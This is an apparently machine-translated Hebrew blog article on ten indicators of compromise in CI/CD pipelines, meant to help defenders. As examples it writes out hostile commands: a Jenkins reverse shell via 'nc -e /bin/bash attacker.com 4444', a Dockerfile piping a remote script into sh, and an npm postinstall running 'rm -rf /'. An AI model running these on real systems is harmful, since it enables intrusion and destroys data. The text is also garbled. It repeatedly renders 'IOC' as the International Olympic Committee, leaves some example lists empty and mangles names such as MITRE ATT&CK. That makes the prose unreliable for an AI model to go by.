מבוא: מהם אינדיקטורים לפשרה באבטחת סייבר?
אינדיקטורים לפגיעה הם סימני האזהרה הראשונים לכך שהמערכת שלך או pipeline ייתכן שהוא נמצא תחת מתקפה. במילים פשוטות, אינדיקטורים לפשרה האם עקבות שהותירו תוקפים, כמו מוזרים logins, שינויי קבצים או תוכנות זדוניות נסתרות. ב אבטחת סייבר של הוועד האולימפי הבינלאומי, הם פועלים כמו טביעות אצבעות בזירת פשע, ומספקים לך ראיות ברורות שמשהו לא בסדר. לכן, כאשר מפתחים שואלים מהם סימנים לפשרההתשובה אינה מוגבלת לשרתים או חומות אש, היא כוללת גם סיכונים חבויים במערכות מודרניות CI/CD pipelines.
באלה pipelines, תוקפים יכולים להתערב בקוד, להזריק תלויות זדוניות או לשנות שלבי בנייה מבלי שיבחינו בכך. עם זאת, רוב המדריכים עדיין מתמקדים רק בשרתים או ברשתות. כתוצאה מכך, שרשרת האספקה של התוכנה הפכה לאחת המטרות הקלות ביותר.
זו הסיבה שמציאת אינדיקטורים לפשרה ב CI/CD pipelines חיוני. מעל הכל, זה עוזר לצוותים לחסום תוכנות זדוניות, להגן על סודות ולאבטח כל שלב באספקת התוכנה.
10 האינדיקטורים המובילים לפשרה ב CI/CD Pipelines
כאשר מסבירים סימנים של פגיעה, רוב הרשימות מתמקדות בשרתים או ברשתות. CI/CD pipelineים, תוקפים משאירים טביעות אצבע שונות מאוד. זיהוי אותות אלה הוא קריטי להגנה פרואקטיבית. להלן 10 דגלי האדום של אבטחת סייבר של ה-IOC שכל מפתח ומהנדס אבטחה צריכים לשים לב אליהם.
1. שינויים חשודים בתלות
אחד הסמנים העיקריים לפשרה ב pipelines הוא עדכון תלות פתאומי ומשונה. תוקפים משתמשים לעתים קרובות באמון שמפתחים נותנים במנהלי חבילות כדי להוסיף חבילות מסוכנות.
לדוגמה, ב-npm a package.json ההבדל עשוי לכלול פתאום:
שינויים כאלה אולי נראים בטוחים אך עלולים להחדיר קוד טרויאני לכל בנייה.
השפעה: בניות שנפגעו יורשות תוכנות זדוניות במקור.
איתור: לאכוף ביקורות תלויות, לעקוב אחר הבדלים בקובצי נעילה ולסרוק חבילות חדשות כל הזמן.
2. קוד ערום בגרסאות
מחברי תוכנות זדוניות מסתמכים על ערפול כדי לעקוף ביקורות. כתוצאה מכך, אינדיקטור זה לפגיעה ב... CI/CD pipelines יכול להיות אחד הקשים ביותר לתפיסה. למעשה, מטענים מעורפלים לעתים קרובות מחליקים לספריות קוד פתוח או תמונות של קונטיינר ללא הודעה מוקדמת.
לדוגמה:
- חבילת PyPI המשתמשת
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - תמונת Docker עמוסה בקבצים בינאריים של UPX שאינם נחוצים.
- ג'אווהסקריפט מלא ב
\x41\x42נמלט תוך הסתרת גנבי אישורים.
השפעה: קוד נסתר מבוצע בשקט במהלך בנייה או זמן ריצה, מה שהופך זאת לאות קריטי באבטחת הסייבר של ה-IOC.
איתור: לשלב SAST עם סריקת תוכנות זדוניות כדי לסמן קוד מקודד או ארוז. מעל הכל, התייחסו לערפול כאל דגל אדום הראוי לחקירה נוספת.
3. סודות שנחשפו ב-Git: סיכון סייבר קלאסי של ה-IOC
CI/CD pipelineלעיתים קרובות יורשים סודות ישירות ממאגרים. עם זאת, כאשר סודות מופיעים ב-Git, הם הופכים לאחת התשובות הברורות ביותר לשאלה "מהם אינדיקטורים לפשרה ב pipelineברגע שהאישורים נוחתים ב-Git, תוקפים יכולים לנצל אותם ללא הגבלת זמן.
לדוגמה:
- A
.envקובץ המכילAWS_SECRET_KEY=. - אסימונים נדחפו פנימה
config.json. - סודות עדיין גלויים בהיסטוריית הגיט גם לאחר ההסרה.
השפעה: מפתחות חשופים מעניקים לתוקפים גישה ישירה אל CI/CD pipeline, מערכות ענן או מסדי נתונים. לכן, זהו אחד הסמנים המסוכנים ביותר לפגיעה.
איתור: השתמש pre-commit hooks ועבודות CI לסריקה סודית, ולבטל מפתחות שדלפו באופן מיידי. בנוסף, לאכוף תיקון אוטומטי כדי לצמצם חלונות חשיפה.
4. מטופל Pipeline תצורות: סימנים נסתרים לפשרה
Pipeline תצורות הן מטרות בעלות ערך גבוה מכיוון שינוי בודד לעיתים קרובות חוטף את כל תהליך העבודהכתוצאה מכך, טופלו pipeline קבצים מהווים סיכון אבטחת סייבר משמעותי של הוועד האולימפי הבינלאומי, שכלי ניטור מסורתיים כמעט ולא מזהים.
לדוגמה:
בפעולות GitHub:
- ב-GitLab: משימה זדונית נוספה ל-
.gitlab-ci.ymlשמשליך מידע רגיש. - בג'נקינס:
sh "nc -e /bin/bash attacker.com 4444".
השפעה: שינויים אלה שלא אושרו הופכים את pipeline לתוך דלת אחורית קבועה עבור תוקפים, מה שנחשב בבירור כאינדיקטור לפשרה.
איתור: אכיפת תצורות חתומות, דרישה לאישורי יחסי ציבור ומעקב אחר משימות בלתי צפויות. בנוסף, הגדר guardrails שחוסמים אוטומטית זרימות עבודה שהשתנו.
5. מיוחס IaC ברירות מחדל
הגדרות תשתית שגויות יוצרות לעיתים קרובות דלתות אחוריות נסתרות. כתוצאה מכך, ברירות מחדל מועדפות ב IaC מהווים סיכון סייבר קלאסי של הוועד האולימפי הבינלאומי.
לדוגמה:
- פריסת Kubernetes המעניקה פודים
privileged: true. - תרשימי Helm שחושפים שירותים עם
0.0.0.0:22.
השפעה: תוקפים משיגים גישה ברמת ה-root או חושפים שירותים פנימיים בפומבי. כתוצאה מכך, בעיות אלו מרחיבות את משטח התקיפה באופן משמעותי.
איתור: החל IaC סריקה כדי לאכוף את הרשאות המינימום לפני המיזוג. בנוסף, יש לוודא שכל תצורה נבדקת כחלק מה- pipeline.
6. התנהגויות בנייה חריגות
תוקפים לעתים קרובות משנים pipeline התנהגות להחליק בפעולות זדוניות. במילים אחרות, פעילות בנייה חריגה היא אחת התשובות הברורות ביותר לשאלה מהם אינדיקטורים לפגיעה ב CI/CD pipelines.
לדוגמה:
- בניית מערכות יוצרות בקשות רשת יוצאות לדומיינים מוזרים.
- פרויקט Node.js מפעיל לפתע את PowerShell במהלך
npm install. - משימת CI מורידה קבצים בינאריים גדולים שלא הוגדרו בסקריפטי בנייה.
השפעה: בניות שנפגעו יכולות לשמש כנקודות הפצה של תוכנות זדוניות. מעל הכל, הן מפיצות עומסים זדוניים בכל פריסה.
איתור: ניטור יומני בנייה לאיתור תהליכים או חיבורים בלתי צפויים. בנוסף, הגדר את זיהוי האנומליות כדי לסמן התנהגויות החורגות מהנורמה.
7. סקריפטים זדוניים של חבילות כסיכוני אבטחת סייבר של הוועד האולימפי הבינלאומי (IOC)
מחזור חיי התמיכה של מנהלי חבילות hooks שתוקפים מנצלים. לכן, סקריפטים זדוניים ב-npm, PyPI או Dockerfiles הם אינדיקציות חזקות לפגיעה.
לדוגמה:
- npm:
postinstallסקריפט פועלrm -rf /או איתות ל-C2. - PyPI:
setup.pyביצוע קוד Python מוסתר בעת ההתקנה. - Dockerfile:
RUN curl attacker.sh | sh.
השפעה: ההתקפה מבוצעת במהלך ההתקנה, לפני כל בדיקות בזמן ריצה. כתוצאה מכך, ייתכן שמפתחים לא ישימו לב עד שיהיה מאוחר מדי.
איתור: סרוק מניפסטים של חבילות עבור סקריפטי התקנה. בנוסף, הגבל קבצים מסוכנים hooks in CI/CD עבודות כדי להפחית חשיפה.
8. הרעלת רישום - סימנים לפגיעה
תוקפים מחליפים או משנים פריטים ברישומים, ואירועים אלה הם דוגמאות ספר לימוד למה שמהווים אינדיקטורים לפגיעה בשרשרת האספקה. pipelines.
לדוגמה:
- תגית תמונה של Docker עודכנה בשקט עם שכבה שעברה טרויאנים.
- אריזה פנימית הוחלפה בגרסה מורעלת.
- סקוואטינג של מרחב השמות npm, כגון
lodash-proxy.
השפעה: כל בנייה המשתמשת בחפץ הרישום נפגעת. לא רק זאת, אלא שהפגיעה מתפשטת לשירותים במורד הזרם.
איתור: אכיפת בדיקות חתימה ושלמות בכל משיכות הרישום. בנוסף, מעקב אחר מקור החפצים באמצעות SBOM אימות.
9. פעילות חריגה של משתמשים כראיה לוועד האולימפי הבינלאומי
חשבונות שנפרצו כמעט תמיד משאירים אחריהם עקבות חריגים. בהתאם לכך, התנהגות חריגה של מפתחים היא אינדיקציה חזקה לפשרה.
לדוגמה:
- Commitנדחק בשעה 3 לפנות בוקר שעון מקומי.
- אישורי יחסי ציבור על ידי חשבונות בחופשה.
- Pipelineמופעלים בתדירות חריגה.
השפעה: תוקפים מנצלים לרעה פרטי גישה גנובים כדי להכניס שינויים זדוניים. אחרי הכל, לא מורשים commitמשתלבים בקלות בזרימות עבודה רגילות.
איתור: צג SCM פעילות לאיתור אנומליות, אכיפת MFA, וסובב טוקנים באופן קבוע. בנוסף, התראה על חשודים commit או דפוסי אישור.
10. בדיקות יושרה או חתימה כושלות באבטחת הסייבר של הוועד האולימפי הבינלאומי
נפוץ אך מתעלם ממנו אינדיקטור לפשרה היא בדיקת שלמות או חתימה שנכשלה. באבטחת סייבר של הוועד האולימפי הבינלאומי, בדיקות אלו מאמתות שהקוד או הממצאים אותנטיים. דילוג עליהן משאיר pipelineנחשף.
דוגמאות:
- גיבוב SHA256 אינו תואם את סכום הבדיקה הצפוי.
- חתימת GPG חסרה או לא חוקית.
- An SBOM מציגים חפצים לא חתומים.
השפעה: כשלים בשלמות משמעותם לעתים קרובות שיבוש גישה, הרעלת רישום או הזרקת תוכנות זדוניות.
איתור: אוטומציה של בדיקות חתימות, אכיפת אימות סכומי בדיקה וחסימת רכיבים לא חתומים. מעל הכל, התייחסו לכל בדיקה שנכשלה כראיה ברורה לפגיעה.
CI/CD אינדיקטורים לפשרה במבט חטוף
| אינדיקטור לפשרה (IOC) | השפעה ב CI/CD Pipelines | איך לזהות |
|---|---|---|
| שינויים חשודים בתלות | תוקפים מזריקים ספריות זדוניות למנהלי חבילות, מה שמוביל לפריצת מערכות בניה. | מעקב אחר הבדלים בקבצי נעילה, אכוף ביקורות תלויות וסרוק תלויות באופן רציף. |
| קוד מעורפל בבניינים | מטענים נסתרים מבוצעים במהלך בניות או בזמן ריצה ללא זיהוי. | השתמש SAST וסריקת תוכנות זדוניות כדי לסמן תבניות קוד base64, hex או packed. |
| סודות שנחשפו ב-Git | אסימונים או מפתחות API שדלפו מעניקים לתוקפים גישה ישירה למערכות קריטיות. | הפעלת סריקות סודיות ב-Git hooks ולבטל באופן אוטומטי אישורים שדלפו. |
| מטופל Pipeline תצורות | זרימות עבודה שהשתנו מאפשרות חילוץ נתונים או שמירה על נוכחותם בפנים CI/CD. | דרוש אישורי יחסי ציבור, אכיפת תצורות חתומות ומעקב pipeline שינויים. |
| חָסוּי IaC ברירות מחדל | תפקידים מתירניים מדי או ברירת מחדל לא מאובטחת חושפים סביבות ענן. | סרוק קבצי Terraform, Kubernetes ו-Helm לאכיפת הרשאות מינימליות. |
| התנהגויות בנייה חריגות | Pipelineמשמשים כנקודות הפצה של תוכנות זדוניות או לתנועה רוחבית. | ניתוח יומני בנייה עבור הורדות, תהליכים או קריאות יוצאות בלתי צפויות. |
| סקריפטים של חבילות זדוניות | סקריפטים נסתרים שלפני/אחרי התקנה מפעילים מטענים לפני בדיקות בזמן ריצה. | חסום סקריפטים של npm/PyPI מסוכנים והגבל את הביצוע ב CI/CD מקומות תעסוקה. |
| הרעלת רישום | ארטיפקטים שהועברו לטרויאנים מחליפים תמונות או קבצים בינאריים מהימנים ברישומים. | אמת סכומי בדיקה, אכיפת אימות חתימות וסריקת רישומים באופן יזום. |
| פעילות משתמש חריגה | חשבונות שנפרצו דוחפים תוכנות זדוניות commits או טריגר pipelines. | אכיפת MFA, ניטור commits עבור אנומליות, ולנתח login דפוסי. |
| בדיקות יושרה או חתימה שנכשלו | מציין קוד, תלויות או תמונות שעברו שינוי גישה שנכנסו ל pipeline. | אוטומציה של בדיקות שלמות וחסימת רכיבים לא חתומים או לא תואמים. |
מדוע אבטחת הסייבר המסורתית של הוועד האולימפי הבינלאומי מפספסת CI/CD סיכונים
רוב הארגונים כבר עוקבים אחר אינדיקטורים של פגיעה בשרתים, מחשבים או רשתות. עם זאת, גישה קלאסית זו לאבטחת סייבר של הוועד האולימפי הבינלאומי מתעלמת מ... CI/CD pipelineים, שהם כיום אחד ממשטחי ההתקפה הקריטיים ביותר. למעשה, pipelines מציגים אותות פשרה ייחודיים שכלים מסורתיים אינם יכולים לזהות.
אינדיקטורים לפשרה בביטחון מסורתי
באבטחת סייבר קונבנציונלית של הוועד האולימפי הבינלאומי, הדגש הוא בדרך כלל על:
- בלתי שגרתי loginכתובות או כתובות IP המצביעות על גניבת פרטי גישה.
- גיבובי קבצים חשודים או שינויים ברישום שחושפים תוכנות זדוניות.
- תעבורה יוצאת בלתי צפויה המצביעה על דליפת נתונים.
אלו הם אינדיקטורים ידועים שעוקבים אחריהם גם ב- מסגרת MITER ATT & CK, אשר ממפה התנהגויות וטקטיקות נפוצות של יריבים. אלו סימנים שימושיים. עם זאת, הם חלים בעיקר על מערכות הפעלה או רשתות ארגוניות. כתוצאה מכך, הם מפספסים את ההתערבות העדינה המתרחשת מוקדם יותר בשרשרת אספקת התוכנה.
למה CI/CD Pipelineשונים
CI/CD pipelineהן סביבות אוטומטיות שבהן מפתחים commit קוד, תלויות משיכה ובניית גרסה. תוקפים יודעים שפשירה אחת כאן מתפשטת לכל פריסה. בהתאם לכך, מהם האינדיקטורים לפשרה ב CI/CD pipelineהם נראים שונים מאוד:
- תלות זדונית נוספה בשקט ל- package.json או ל- requirements.txt.
- מפתחות API או טוקנים שנחשפו ב-Git commitקבצי s או .env.
- קוד ערמומי מוזרק לחבילות npm או PyPI.
- קבצי Terraform או Kubernetes עם ברירות מחדל לא מאובטחות כמו privilegated: true.
- Pipeline עבודות שנערכו כדי לחלץ נתונים או לפתוח דלתות אחוריות.
אותות פשרה אלה ב CI/CD להישאר בלתי נראה עבור standard כלי אבטחה.
הפער באבטחת הסייבר של הוועד האולימפי הבינלאומי
למרות שצוותים רבים מבינים את הערך של אינדיקטורים לפגיעה, הם עדיין מסתמכים רק על זיהוי משרתים ויומני רשת. לכן, תוקפים יכולים להרעיל בניות או להכניס תוכנות זדוניות מבלי להשאיר את העקבות הרגילים. זו הסיבה שאירועים כמו דלת אחורית של XZ Utils או חבילות npm זדוניות לא התגלו עד שהגיעו למצב הייצור.
פשרות מסוג זה בשרשרת האספקה מודגשות גם על ידי CISהנחיות אבטחת שרשרת האספקה של A, אשר מזהיר כי תוקפים מכוונים יותר ויותר CI/CD pipelines ורישומים.
משלוחים
אבטחת סייבר מסורתית של הוועד האולימפי הבינלאומי (IOC) היא הכרחית אך אינה מספיקה. מעל הכל, צוותים חייבים לזהות סימנים של פגיעה ספציפית CI/CD pipelineרק אז הם יכולים לזהות קוד זדוני או pipeline התעללות לפני שהיא מתפשטת בסביבות שונות.
